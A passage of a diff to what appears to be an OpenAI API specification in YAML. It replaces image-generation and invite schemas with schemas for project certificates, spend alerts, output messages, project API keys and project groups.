+ OrganizationProjectCertificate:
type: object
- title: Image generation tool
- description: |
- A tool that generates images using the GPT image models.
+ description: Represents an individual certificate configured at the project level.
properties:
- type:
+ object:
type: string
enum:
- - image_generation
- description: |
- The type of the image generation tool. Always `image_generation`.
+ - organization.project.certificate
+ description: The object type, which is always `organization.project.certificate`.
x-stainless-const: true
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-image-1
- - gpt-image-1-mini
- - gpt-image-2
- - gpt-image-2-2026-04-21
- - gpt-image-2.5-sunburst
- - gpt-image-2.5-sunburst-2026-09-08
- - gpt-image-2.5-flare
- - gpt-image-2.5-flare-2026-09-08
- - gpt-image-1.5
- - chatgpt-image-latest
- description: |
- The image generation model to use. One of `gpt-image-1`,
- `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
- `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
- `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
- `gpt-image-1`.
- default: gpt-image-1
- quality:
- type: string
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- description: |
- The quality of the generated image. The GPT image models support `low`,
- `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`,
- including their `2026-09-08` snapshots, also support `xhigh` and `max`.
- Default: `auto`.
- default: auto
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
- description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
- default: auto
- output_format:
- type: string
- enum:
- - png
- - webp
- - jpeg
- description: |
- The output format of the generated image. One of `png`, `webp`, or
- `jpeg`. Default: `png`.
- default: png
- output_compression:
- type: integer
- minimum: 0
- maximum: 100
- description: |
- Compression level for the output image. Default: 100.
- default: 100
- moderation:
- type: string
- enum:
- - auto
- - low
- description: |
- Moderation level for the generated image. Default: `auto`.
- default: auto
- background:
+ id:
type: string
- enum:
- - transparent
- - opaque
- - auto
- description: |
- Allows to set transparency for the background of the generated image(s). Must
- be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
- used, the model will automatically determine the best background for the
- image.
-
- `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
- `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
- default: auto
- input_fidelity:
+ description: The identifier, which can be referenced in API endpoints
+ name:
anyOf:
- - $ref: '#/components/schemas/InputFidelity'
+ - type: string
- type: 'null'
- description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
- input_image_mask:
+ description: The name of the certificate.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate was uploaded.
+ certificate_details:
type: object
- description: |
- Optional mask for inpainting. Contains `image_url`
- (string, optional) and `file_id` (string, optional).
properties:
- image_url:
- type: string
- description: |
- Base64-encoded mask image.
- file_id:
- type: string
- description: |
- File ID for the mask image.
- required: []
- additionalProperties: false
- partial_images:
- type: integer
- minimum: 0
- maximum: 3
- description: |
- Number of partial images to generate in streaming mode, from 0 (default value) to 3.
- default: 0
- action:
- description: |
- Whether to generate a new image or edit an existing image. Default: `auto`.
- $ref: '#/components/schemas/ImageGenActionEnum'
+ valid_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate becomes valid.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the certificate expires.
+ active:
+ type: boolean
+ description: Whether the certificate is currently active at the project level.
required:
- - type
- ImageRefParam:
+ - object
+ - id
+ - name
+ - created_at
+ - certificate_details
+ - active
+ OrganizationProjectCertificateActivationResponse:
type: object
- description: |
- Reference an input image by either URL or uploaded file ID.
- Provide exactly one of `image_url` or `file_id`.
properties:
- image_url:
- type: string
- format: uri
- maxLength: 20971520
- description: A fully qualified URL or base64-encoded data URL.
- example: https://example.com/source-image.png
- file_id:
+ object:
type: string
- description: The File API ID of an uploaded image to use as input.
- example: file-abc123
- anyOf:
- - required:
- - image_url
- - required:
- - file_id
- not:
- required:
- - image_url
- - file_id
- additionalProperties: false
- ImagesResponse:
+ enum:
+ - organization.project.certificate.activation
+ description: The project certificate activation result type.
+ x-stainless-const: true
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/OrganizationProjectCertificate'
+ required:
+ - object
+ - data
+ OrganizationProjectCertificateDeactivationResponse:
type: object
- title: Image generation response
- description: The response from the image generation endpoint.
properties:
- created:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the image was created.
+ object:
+ type: string
+ enum:
+ - organization.project.certificate.deactivation
+ description: The project certificate deactivation result type.
+ x-stainless-const: true
data:
type: array
- description: The list of generated images.
items:
- $ref: '#/components/schemas/Image'
- background:
+ $ref: '#/components/schemas/OrganizationProjectCertificate'
+ required:
+ - object
+ - data
+ OrganizationSpendAlert:
+ type: object
+ description: Represents a spend alert configured at the organization level.
+ properties:
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints.
+ object:
type: string
- description: The background parameter used for the image generation. Either `transparent` or `opaque`.
enum:
- - transparent
- - opaque
- output_format:
+ - organization.spend_alert
+ description: The object type, which is always `organization.spend_alert`.
+ x-stainless-const: true
+ threshold_amount:
+ type: integer
+ description: The alert threshold amount, in cents.
+ currency:
type: string
- description: The output format of the image generation. Either `png`, `webp`, or `jpeg`.
enum:
- - png
- - webp
- - jpeg
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
+ - USD
+ description: The currency for the threshold amount.
+ interval:
type: string
- description: The quality of the image generated. One of `low`, `medium`, `high`, `xhigh`, or `max`.
enum:
- - low
- - medium
- - high
- - xhigh
- - max
- usage:
- $ref: '#/components/schemas/ImageGenUsage'
+ - month
+ description: The time interval for evaluating spend against the threshold.
+ notification_channel:
+ $ref: '#/components/schemas/SpendAlertNotificationChannel'
required:
- - created
+ - id
+ - object
+ - threshold_amount
+ - currency
+ - interval
+ - notification_channel
x-oaiMeta:
- name: The image generation response
- group: images
+ name: The organization spend alert object
example: |
{
- "created": 1713833628,
- "data": [
- {
- "b64_json": "..."
- }
- ],
- "background": "transparent",
- "output_format": "png",
- "size": "1024x1024",
- "quality": "high",
- "usage": {
- "total_tokens": 100,
- "input_tokens": 50,
- "output_tokens": 50,
- "input_tokens_details": {
- "text_tokens": 10,
- "image_tokens": 40
+ "id": "alert_abc123",
+ "object": "organization.spend_alert",
+ "threshold_amount": 100000,
+ "currency": "USD",
+ "interval": "month",
+ "notification_channel": {
+ "type": "email",
+ "recipients": ["finance@example.com"],
+ "subject_prefix": "OpenAI spend alert"
}
- }
}
- ImagesUsage:
+ OrganizationSpendAlertDeletedResource:
type: object
- description: |
- For the GPT image models only, the token usage information for the image generation.
+ description: Confirmation payload returned after deleting an organization spend alert.
+ properties:
+ id:
+ type: string
+ description: The deleted spend alert ID.
+ object:
+ type: string
+ enum:
+ - organization.spend_alert.deleted
+ description: Always `organization.spend_alert.deleted`.
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ description: Whether the spend alert was deleted.
required:
- - total_tokens
- - input_tokens
- - output_tokens
- - input_tokens_details
+ - id
+ - object
+ - deleted
+ OrganizationSpendAlertListResource:
+ type: object
+ description: Paginated list of organization spend alerts.
properties:
- total_tokens:
- type: integer
- description: |
- The total number of tokens (images and text) used for the image generation.
- input_tokens:
- type: integer
- description: The number of tokens (images and text) in the input prompt.
- output_tokens:
- type: integer
- description: The number of image tokens in the output image.
- input_tokens_details:
- type: object
- description: The input tokens detailed information for the image generation.
- required:
- - text_tokens
- - image_tokens
- properties:
- text_tokens:
- type: integer
- description: The number of text tokens in the input prompt.
- image_tokens:
- type: integer
- description: The number of image tokens in the input prompt.
- InputAudio:
+ object:
+ type: string
+ enum:
+ - list
+ description: Always `list`.
+ x-stainless-const: true
+ data:
+ type: array
+ description: Spend alerts returned in the current page.
+ items:
+ $ref: '#/components/schemas/OrganizationSpendAlert'
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The ID of the first spend alert in this page.
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The ID of the last spend alert in this page.
+ has_more:
+ type: boolean
+ description: Whether more spend alerts are available when paginating.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ OtherChunkingStrategyResponseParam:
type: object
- title: Input audio
+ title: Other Chunking Strategy
+ description: This is returned when the chunking strategy is unknown. Typically, this is because the file was indexed before the `chunking_strategy` concept was introduced in the API.
+ additionalProperties: false
+ properties:
+ type:
+ type: string
+ description: Always `other`.
+ enum:
+ - other
+ x-stainless-const: true
+ required:
+ - type
+ OutputAudio:
+ type: object
+ title: Output audio
description: |
- An audio input to the model.
+ An audio output from the model.
properties:
type:
type: string
description: |
- The type of the input item. Always `input_audio`.
+ The type of the output audio. Always `output_audio`.
enum:
- - input_audio
+ - output_audio
x-stainless-const: true
- input_audio:
- type: object
- properties:
- data:
- type: string
- description: |
- Base64-encoded audio data.
- format:
- type: string
- description: |
- The format of the audio data. Currently supported formats are `mp3` and
- `wav`.
- enum:
- - mp3
- - wav
- required:
- - data
- - format
+ data:
+ type: string
+ description: |
+ Base64-encoded audio data from the model.
+ transcript:
+ type: string
+ description: |
+ The transcript of the audio data from the model.
required:
- type
- - input_audio
- InputContent:
+ - data
+ - transcript
+ OutputContent:
discriminator:
propertyName: type
anyOf:
- - $ref: '#/components/schemas/InputTextContent'
- - $ref: '#/components/schemas/InputImageContent'
- - $ref: '#/components/schemas/InputFileContent'
- InputItem:
+ - $ref: '#/components/schemas/OutputTextContent'
+ - $ref: '#/components/schemas/RefusalContent'
+ - $ref: '#/components/schemas/ReasoningTextContent'
+ OutputItem:
discriminator:
propertyName: type
anyOf:
- - $ref: '#/components/schemas/EasyInputMessage'
- - type: object
- title: Item
- description: |
- An item representing part of the context for the response to be
- generated by the model. Can contain text, images, and audio inputs,
- as well as previous assistant responses and tool call outputs.
- $ref: '#/components/schemas/Item'
- - $ref: '#/components/schemas/CompactionTriggerItemParam'
- - $ref: '#/components/schemas/ItemReferenceParam'
- - $ref: '#/components/schemas/ProgramItemParam'
- - $ref: '#/components/schemas/ProgramOutputItemParam'
- InputMessage:
+ - $ref: '#/components/schemas/OutputMessage'
+ - $ref: '#/components/schemas/FileSearchToolCall'
+ - $ref: '#/components/schemas/FunctionToolCall'
+ - $ref: '#/components/schemas/FunctionToolCallOutputResource'
+ - $ref: '#/components/schemas/WebSearchToolCall'
+ - $ref: '#/components/schemas/ComputerToolCall'
+ - $ref: '#/components/schemas/ComputerToolCallOutputResource'
+ - $ref: '#/components/schemas/ReasoningItem'
+ - $ref: '#/components/schemas/Program'
+ - $ref: '#/components/schemas/ProgramOutput'
+ - $ref: '#/components/schemas/ToolSearchCall'
+ - $ref: '#/components/schemas/ToolSearchOutput'
+ - $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/CompactionBody'
+ - $ref: '#/components/schemas/ImageGenToolCall'
+ - $ref: '#/components/schemas/CodeInterpreterToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCallOutput'
+ - $ref: '#/components/schemas/FunctionShellCall'
+ - $ref: '#/components/schemas/FunctionShellCallOutput'
+ - $ref: '#/components/schemas/ApplyPatchToolCall'
+ - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
+ - $ref: '#/components/schemas/MCPToolCall'
+ - $ref: '#/components/schemas/MCPListTools'
+ - $ref: '#/components/schemas/MCPApprovalRequest'
+ - $ref: '#/components/schemas/MCPApprovalResponseResource'
+ - $ref: '#/components/schemas/CustomToolCall'
+ - $ref: '#/components/schemas/CustomToolCallOutputResource'
+ OutputMessage:
type: object
- title: Input message
+ title: Output message
description: |
- A message input to the model with a role indicating instruction following
- hierarchy. Instructions given with the `developer` or `system` role take
- precedence over instructions given with the `user` role.
+ An output message from the model.
properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the output message.
+ x-stainless-go-json: omitzero
type:
type: string
description: |
- The type of the message input. Always set to `message`.
+ The type of the output message. Always `message`.
enum:
- message
x-stainless-const: true
role:
type: string
description: |
- The role of the message input. One of `user`, `system`, or `developer`.
+ The role of the output message. Always `assistant`.
enum:
- - user
- - system
- - developer
+ - assistant
+ x-stainless-const: true
+ content:
+ type: array
+ description: |
+ The content of the output message.
+ items:
+ $ref: '#/components/schemas/OutputMessageContent'
+ phase:
+ anyOf:
+ - $ref: '#/components/schemas/MessagePhase'
+ - type: 'null'
status:
type: string
description: |
- The status of item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
+ The status of the message input. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when input items are returned via API.
enum:
- in_progress
- completed
- incomplete
- content:
- $ref: '#/components/schemas/InputMessageContentList'
required:
+ - id
+ - type
- role
- content
- InputMessageContentList:
- type: array
- title: Input item content list
- description: "A list of one or many input items to the model, containing different content \ntypes.\n"
- items:
- $ref: '#/components/schemas/InputContent'
- InputMessageResource:
- allOf:
- - $ref: '#/components/schemas/InputMessage'
- - type: object
- properties:
- id:
- type: string
- description: |
- The unique ID of the message input.
- required:
- - id
- - type
- InputParam:
- description: |
- Text, image, or file inputs to the model, used to generate a response.
-
- Learn more:
- - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
- - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
- - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
- - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
- - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
+ - status
+ OutputMessageContent:
+ discriminator:
+ propertyName: type
anyOf:
- - type: string
- title: Text input
- description: |
- A text input to the model, equivalent to a text input with the
- `user` role.
- - type: array
- title: Input item list
+ - $ref: '#/components/schemas/OutputTextContent'
+ - $ref: '#/components/schemas/RefusalContent'
+ ParallelToolCalls:
+ description: Whether to enable [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling) during tool use.
+ type: boolean
+ default: true
+ PartialImages:
+ anyOf:
+ - type: integer
+ maximum: 3
+ minimum: 0
+ default: 0
+ example: 1
description: |
- A list of one or many input items to the model, containing
- different content types.
- items:
- $ref: '#/components/schemas/InputItem'
- Invite:
+ The number of partial images to generate. This parameter is used for
+ streaming responses that return partial images. Value must be between 0 and 3.
+ When set to 0, the response will be a single image sent in one streaming event.
+
+ Note that the final image may be sent before the full number of partial images
+ are generated if the full image is generated more quickly.
+ - type: 'null'
+ PredictionContent:
+ type: object
+ title: Static Content
+ description: |
+ Static predicted output content, such as the content of a text file that is
+ being regenerated.
+ required:
+ - type
+ - content
+ properties:
+ type:
+ type: string
+ enum:
+ - content
+ description: |
+ The type of the predicted content you want to provide. This type is
+ currently always `content`.
+ x-stainless-const: true
+ content:
+ description: |
+ The content that should be matched when generating a model response.
+ If generated tokens would match this content, the entire model response
+ can be returned much more quickly.
+ anyOf:
+ - type: string
+ title: Text content
+ description: |
+ The content used for a Predicted Output. This is often the
+ text of a file you are regenerating with minor changes.
+ - type: array
+ description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text inputs.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ minItems: 1
+ Project:
type: object
- description: Represents an individual `invite` to the organization.
+ description: Represents an individual project.
properties:
- object:
- type: string
- enum:
- - organization.invite
- description: The object type, which is always `organization.invite`
- x-stainless-const: true
id:
type: string
description: The identifier, which can be referenced in API endpoints
- email:
- type: string
- description: The email address of the individual to whom the invite was sent
- role:
+ object:
type: string
enum:
- - owner
- - reader
- description: '`owner` or `reader`'
+ - organization.project
+ description: The object type, which is always `organization.project`
+ x-stainless-const: true
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The name of the project. This appears in reporting.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the project was created.
+ archived_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the project was archived or `null`.
+ - type: 'null'
status:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: '`active` or `archived`'
+ external_key_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The external key associated with the project.
+ residency:
+ $ref: '#/components/schemas/PublicProjectResidency'
+ description: The residency configuration for the project.
+ required:
+ - id
+ - object
+ - created_at
+ x-oaiMeta:
+ name: The project object
+ example: |
+ {
+ "id": "proj_abc",
+ "object": "organization.project",
+ "name": "Project example",
+ "created_at": 1711471533,
+ "archived_at": null,
+ "status": "active",
+ "external_key_id": null
+ }
+ ProjectApiKey:
+ type: object
+ description: Represents an individual API key in a project.
+ properties:
+ object:
type: string
enum:
- - accepted
- - expired
- - pending
- description: '`accepted`,`expired`, or `pending`'
+ - organization.project.api_key
+ description: The object type, which is always `organization.project.api_key`
+ x-stainless-const: true
+ redacted_value:
+ type: string
+ description: The redacted value of the API key
+ name:
+ type: string
+ description: The name of the API key
created_at:
type: integer
format: unixtime
- description: The Unix timestamp (in seconds) of when the invite was sent.
+ description: The Unix timestamp (in seconds) of when the API key was created
expires_at:
anyOf:
- type: integer
format: unixtime
- type: 'null'
- description: The Unix timestamp (in seconds) of when the invite expires.
- accepted_at:
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
+ last_used_at:
anyOf:
- type: integer
format: unixtime
- type: 'null'
- description: The Unix timestamp (in seconds) of when the invite was accepted.
- projects:
- type: array
- description: The projects that were granted membership upon acceptance of the invite.
- items:
- type: object
- properties:
- id:
- type: string
- description: Project's public ID
- role:
- type: string
- enum:
- - member
- - owner
- description: Project membership role
- required:
- - id
- - role
+ description: The Unix timestamp (in seconds) of when the API key was last used.
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints
+ owner_project_access:
+ type: string
+ enum:
+ - active
+ - inactive
+ description: Whether the API key's owner currently has effective access to the project.
+ owner:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - user
+ - service_account
+ description: '`user` or `service_account`'
+ user:
+ $ref: '#/components/schemas/ProjectApiKeyOwnerUser'
+ service_account:
+ $ref: '#/components/schemas/ProjectApiKeyOwnerServiceAccount'
required:
- object
- - id
- - email
- - role
- - status
+ - redacted_value
+ - name
- created_at
- - projects
+ - last_used_at
+ - id
+ - owner_project_access
+ - owner
x-oaiMeta:
- name: The invite object
+ name: The project API key object
example: |
{
- "object": "organization.invite",
- "id": "invite-abc",
- "email": "user@example.com",
- "role": "owner",
- "status": "accepted",
- "created_at": 1711471533,
- "expires_at": 1711471533,
- "accepted_at": 1711471533,
- "projects": [
- {
- "id": "project-xyz",
- "role": "member"
+ "object": "organization.project.api_key",
+ "redacted_value": "sk-abc...def",
+ "name": "My API Key",
+ "created_at": 1711471533,
+ "expires_at": 1714063533,
+ "last_used_at": 1711471534,
+ "id": "key_abc",
+ "owner_project_access": "active",
+ "owner": {
+ "type": "user",
+ "user": {
+ "id": "user_abc",
+ "name": "First Last",
+ "email": "user@example.com",
+ "role": "owner",
+ "created_at": 1711471533
+ }
}
- ]
}
- InviteDeleteResponse:
+ ProjectApiKeyDeleteResponse:
type: object
properties:
object:
type: string
enum:
- - organization.invite.deleted
- description: The object type, which is always `organization.invite.deleted`
+ - organization.project.api_key.deleted
x-stainless-const: true
id:
type: string
@@ -40066,242 +46355,320 @@ components:
- object
- id
- deleted
- InviteListResponse:
+ ProjectApiKeyListResponse:
type: object
properties:
object:
type: string
enum:
- list
- description: The object type, which is always `list`
x-stainless-const: true
data:
type: array
items:
- $ref: '#/components/schemas/Invite'
+ $ref: '#/components/schemas/ProjectApiKey'
first_id:
anyOf:
- type: string
- type: 'null'
- description: The first `invite_id` in the retrieved `list`
last_id:
anyOf:
- type: string
- type: 'null'
- description: The last `invite_id` in the retrieved `list`
has_more:
type: boolean
- description: The `has_more` property is used for pagination to indicate there are additional results.
required:
- object
- data
- has_more
- InviteProjectGroupBody:
+ ProjectApiKeyOwnerServiceAccount:
type: object
- description: Request payload for granting a group access to a project.
+ description: The service account that owns a project API key.
properties:
- group_id:
+ id:
type: string
- description: Identifier of the group to add to the project.
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ type: string
+ description: The name of the service account.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the service account was created.
role:
type: string
- description: Identifier of the project role to grant to the group.
+ description: The service account's project role.
required:
- - group_id
+ - id
+ - name
+ - created_at
+ - role
+ ProjectApiKeyOwnerUser:
+ type: object
+ description: The user that owns a project API key.
+ properties:
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints
+ email:
+ type: string
+ description: The email address of the user.
+ name:
+ type: string
+ description: The name of the user.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the user was created.
+ role:
+ type: string
+ description: The user's project role.
+ required:
+ - id
+ - email
+ - name
+ - created_at
- role
+ ProjectCreateRequest:
+ type: object
+ properties:
+ name:
+ type: string
+ description: The friendly name of the project, this name appears in reports.
+ geography:
+ anyOf:
+ - type: string
+ - type: 'null'
+ deprecated: true
+ description: |-
+ Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ Deprecated: use `residency` instead. Do not provide both `geography` and `residency`.
+ residency:
+ anyOf:
+ - $ref: '#/components/schemas/PublicProjectResidency'
+ - type: 'null'
+ description: Create the project with the specified residency configuration. Your organization must have access to the requested residency configuration in order to use it. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ external_key_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: External key ID to associate with the project.
+ required:
+ - name
+ ProjectDataRetention:
+ type: object
+ description: Represents a project's data retention control setting.
+ properties:
+ object:
+ type: string
+ enum:
+ - project.data_retention
+ description: The object type, which is always `project.data_retention`.
+ x-stainless-const: true
+ type:
+ type: string
+ enum:
+ - organization_default
+ - none
+ - zero_data_retention
+ - modified_abuse_monitoring
+ - enhanced_zero_data_retention
+ - enhanced_modified_abuse_monitoring
+ description: The configured project data retention type.
+ required:
+ - object
+ - type
x-oaiMeta:
+ name: The project data retention object
example: |
{
- "group_id": "group_01J1F8ABCDXYZ",
- "role": "role_01J1F8PROJ"
+ "object": "project.data_retention",
+ "type": "organization_default"
}
- InviteRequest:
+ ProjectGroup:
type: object
+ description: Details about a group's membership in a project.
properties:
- email:
+ object:
type: string
- description: Send an email to this address
- role:
+ enum:
+ - project.group
+ description: Always `project.group`.
+ x-stainless-const: true
+ project_id:
+ type: string
+ description: Identifier of the project.
+ group_id:
+ type: string
+ description: Identifier of the group that has access to the project.
+ group_name:
+ type: string
+ description: Display name of the group.
+ group_type:
type: string
enum:
- - reader
- - owner
- description: '`owner` or `reader`'
- projects:
- type: array
- description: An array of projects to which membership is granted at the same time the org invite is accepted. If omitted, the user will be invited to the default project for compatibility with legacy behavior. If empty list is passed, the user will not be invited to any projects, including the default one.
- items:
- type: object
- properties:
- id:
- type: string
- description: Project's public ID
- role:
- type: string
- enum:
- - member
- - owner
- description: Project membership role
- required:
- - id
- - role
+ - group
+ - tenant_group
+ description: The type of the group.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the group was granted project access.
required:
- - email
- - role
- Item:
+ - object
+ - project_id
+ - group_id
+ - group_name
+ - group_type
+ - created_at
+ x-oaiMeta:
+ name: The project group object
+ example: |
+ {
+ "object": "project.group",
+ "project_id": "proj_abc123",
+ "group_id": "group_01J1F8ABCDXYZ",
+ "group_name": "Support Team",
+ "group_type": "group",
+ "created_at": 1711471533
+ }
+ ProjectGroupDeletedResource:
type: object
- description: |
- Content item used to generate a response.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/InputMessage'
- - $ref: '#/components/schemas/OutputMessage'
- - $ref: '#/components/schemas/FileSearchToolCall'
- - $ref: '#/components/schemas/ComputerToolCall'
- - $ref: '#/components/schemas/ComputerCallOutputItemParam'
- - $ref: '#/components/schemas/WebSearchToolCall'
- - $ref: '#/components/schemas/FunctionToolCall'
- - $ref: '#/components/schemas/FunctionCallOutputItemParam'
- - $ref: '#/components/schemas/ToolSearchCallItemParam'
- - $ref: '#/components/schemas/ToolSearchOutputItemParam'
- - $ref: '#/components/schemas/AdditionalToolsItemParam'
- - $ref: '#/components/schemas/ResponseConfigurationUpdateItemParam'
- - $ref: '#/components/schemas/ReasoningItem'
- - $ref: '#/components/schemas/CompactionSummaryItemParam'
- - $ref: '#/components/schemas/ImageGenToolCall'
- - $ref: '#/components/schemas/CodeInterpreterToolCall'
- - $ref: '#/components/schemas/LocalShellToolCall'
- - $ref: '#/components/schemas/LocalShellToolCallOutput'
- - $ref: '#/components/schemas/FunctionShellCallItemParam'
- - $ref: '#/components/schemas/FunctionShellCallOutputItemParam'
- - $ref: '#/components/schemas/ApplyPatchToolCallItemParam'
- - $ref: '#/components/schemas/ApplyPatchToolCallOutputItemParam'
- - $ref: '#/components/schemas/MCPListTools'
- - $ref: '#/components/schemas/MCPApprovalRequest'
- - $ref: '#/components/schemas/MCPApprovalResponse'
- - $ref: '#/components/schemas/MCPToolCall'
- - $ref: '#/components/schemas/CustomToolCallOutput'
- - $ref: '#/components/schemas/CustomToolCall'
- ItemResource:
- description: |
- Content item used to generate a response.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/InputMessageResource'
- - $ref: '#/components/schemas/OutputMessage'
- - $ref: '#/components/schemas/FileSearchToolCall'
- - $ref: '#/components/schemas/ComputerToolCall'
- - $ref: '#/components/schemas/ComputerToolCallOutputResource'
- - $ref: '#/components/schemas/WebSearchToolCall'
- - $ref: '#/components/schemas/FunctionToolCallResource'
- - $ref: '#/components/schemas/FunctionToolCallOutputResource'
- - $ref: '#/components/schemas/ToolSearchCall'
- - $ref: '#/components/schemas/ToolSearchOutput'
- - $ref: '#/components/schemas/AdditionalTools'
- - $ref: '#/components/schemas/ResponseConfigurationUpdate'
- - $ref: '#/components/schemas/ReasoningItem'
- - $ref: '#/components/schemas/Program'
- - $ref: '#/components/schemas/ProgramOutput'
- - $ref: '#/components/schemas/CompactionBody'
- - $ref: '#/components/schemas/ImageGenToolCall'
- - $ref: '#/components/schemas/CodeInterpreterToolCall'
- - $ref: '#/components/schemas/LocalShellToolCall'
- - $ref: '#/components/schemas/LocalShellToolCallOutput'
- - $ref: '#/components/schemas/FunctionShellCall'
- - $ref: '#/components/schemas/FunctionShellCallOutput'
- - $ref: '#/components/schemas/ApplyPatchToolCall'
- - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
- - $ref: '#/components/schemas/MCPListTools'
- - $ref: '#/components/schemas/MCPApprovalRequest'
- - $ref: '#/components/schemas/MCPApprovalResponseResource'
- - $ref: '#/components/schemas/MCPToolCall'
- - $ref: '#/components/schemas/CustomToolCallResource'
- - $ref: '#/components/schemas/CustomToolCallOutputResource'
- ListAssistantsResponse:
+ description: Confirmation payload returned after removing a group from a project.
+ properties:
+ object:
+ type: string
+ enum:
+ - project.group.deleted
+ description: Always `project.group.deleted`.
+ x-stainless-const: true
+ deleted:
+ type: boolean
+ description: Whether the group membership in the project was removed.
+ required:
+ - object
+ - deleted
+ x-oaiMeta:
+ name: Project group deletion confirmation
+ example: |
+ {
+ "object": "project.group.deleted",
+ "deleted": true
+ }
+ ProjectGroupListResource:
type: object
+ description: Paginated list of groups that have access to a project.
properties:
object:
type: string
- example: list
+ enum:
+ - list
+ description: Always `list`.
+ x-stainless-const: true
data:
type: array
+ description: Project group memberships returned in the current page.
items:
- $ref: '#/components/schemas/AssistantObject'
- first_id:
- type: string
- example: asst_abc123
- last_id:
- type: string
- example: asst_abc456
+ $ref: '#/components/schemas/ProjectGroup'
has_more:
type: boolean
- example: false
+ description: Whether additional project group memberships are available.
+ next:
+ description: Cursor to fetch the next page of results, or `null` when there are no more results.
+ anyOf:
+ - type: string
+ - type: 'null'
+ required:
+ - object
+ - data
+ - has_more
+ - next
+ x-oaiMeta:
+ name: Project group list
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "project.group",
+ "project_id": "proj_abc123",
+ "group_id": "group_01J1F8ABCDXYZ",
+ "group_name": "Support Team",
+ "created_at": 1711471533
+ }
+ ],
+ "has_more": false,
+ "next": null
+ }
+ ProjectHostedToolPermissions:
+ type: object
+ description: Represents hosted tool permissions for a project.
+ properties:
+ file_search:
